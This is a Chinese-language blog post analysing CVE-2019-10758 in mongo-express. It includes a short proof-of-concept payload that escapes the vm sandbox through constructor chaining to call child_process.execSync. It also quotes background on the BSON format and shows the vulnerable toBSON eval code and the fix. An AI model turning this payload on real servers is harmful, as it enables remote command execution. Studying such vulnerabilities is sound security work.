CVE-2019-10758
根據https://github.com/masahiro331/CVE-2019-10758/blob/master/main.js的內容可知,在上一篇里已經講了怎么debug調試nodejs。
所以在工作區新建一個test.js的文件。內容為:
exploit = "this.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('/Applications/CotEditor.app/Contents/MacOS/CotEditor')" var bson = require('mongo-express/lib/bson') bson.toBSON(exploit)
至於想執行的命令可以自行更改,我這邊是運行一個mac下的軟件。
根據poc可知,漏洞關鍵點在bson庫里的toBSON函數。百度一下bson是什么東西?和json又有什么關系?
引用:https://blog.csdn.net/m0_38110132/article/details/77716792
參考百科說明:BSON( Binary Serialized Document Format) 是一種二進制形式的存儲格式,采用了類似於 C 語言結構體的名稱、對表示方法,支持內嵌的文檔對象和數組對象,具有輕量性、可遍歷性、高效性的特點,可以有效描述非結構化數據和結構化數據。
BSON是一種類json的一種二進制形式的存儲格式,簡稱Binary JSON,它和JSON一樣,支持內嵌的文檔對象和數組對象,但是BSON有JSON沒有的一些數據類型,如Date和BinData類型。
BSON可以做為網絡數據交換的一種存儲形式,這個有點類似於Google的Protocol Buffer,但是BSON是一種schema-less的存儲形式,它的優點是靈活性高,但它的缺點是空間利用率不是很理想,
BSON有三個特點:輕量性、可遍歷性、高效性。
例子
一個Document的BSON表示
{ title:"MongoDB", last_editor:"192.168.1.122", last_modified:new Date("27/06/2011"), body:"MongoDB introduction", categories:["Database","NoSQL","BSON"], revieved:false }
這是一個簡單的BSON結構體,其中每一個element都是由key/value對組成的
一個嵌套的例子
{ name:"lemo", age:"12", address:{ city:"suzhou", country:"china", code:215000 } , scores:[ {"name":"english","grade:3.0}, {"name":"chinese","grade:2.0} ] }
這是一種相對復雜點的例子,其中包括了地址對象和分數對象數組,這里使用了嵌套文檔對象與文檔對象數據來表示單個學生的信息,這種嵌套的文檔結構要使用關系數據庫來做是比較復雜的。
與JSON的區別
以下內容參考自 http://blog.csdn.net/z69183787/article/details/26709505 感謝謝原作者。
BSON是由10gen開發的一個數據格式,目前主要用於MongoDB中,是mongodb的數據存儲格式。BSON基於JSON格式,選擇JSON進行改造的原因主要是JSON的通用性及JSON的schemaless的特性。
BSON主要會實現以下三點目標:
(1)更快的遍歷速度
對JSON格式來說,太大的JSON結構會導致數據遍歷非常慢。在JSON中,要跳過一個文檔進行數據讀取,需要對此文檔進行掃描才行,需要進行麻煩的數據結構匹配,比如括號的匹配,而BSON對JSON的一大改進就是,它會將JSON的每一個元素的長度存在元素的頭部,這樣你只需要讀取到元素長度就能直接seek到指定的點上進行讀取了。
(2)操作更簡易
對JSON來說,數據存儲是無類型的,比如你要修改基本一個值,從9到10,由於從一個字符變成了兩個,所以可能其后面的所有內容都需要往后移一位才可以。而使用BSON,你可以指定這個列為數字列,那么無論數字從9長到10還是100,我們都只是在存儲數字的那一位上進行修改,不會導致數據總長變大。當然,在MongoDB中,如果數字從整形增大到長整型,還是會導致數據總長變大的。
(3)增加了額外的數據類型
JSON是一個很方便的數據交換格式,但是其類型比較有限。BSON在其基礎上增加了“byte array”數據類型。這使得二進制的存儲不再需要先base64轉換后再存成JSON。大大減少了計算開銷和數據大小。
但是,在有的時候,BSON相對JSON來說也並沒有空間上的優勢,比如對{“field”:7},在JSON的存儲上7只使用了一個字節,而如果用BSON,那就是至少4個字節(32位)
目前在10gen的努力下,BSON已經有了針對多種語言的編碼解碼包。並且都是Apache 2 license下開源的。並且還在隨着MongoDB進一步地發展。
1 exports.toBSON = function (string) { 2 var sandbox = exports.getSandbox(); 3 4 string = string.replace(/ISODate\(/g, 'new ISODate('); 5 string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),'); 6 7 vm.runInNewContext('doc = eval((' + string + '));', sandbox); 8 9 return sandbox.doc; 10 };
跟蹤來到第7行,發現eval和之前string代碼進行拼接了。百度查看vm.runInNewContext的函數意義。
emmm。。。。運行js代碼。。。那就直接拼接了代碼。。。。直接執行了命令。
查看這個文件的history。發現修復方式是刪除了vm這個庫的引用。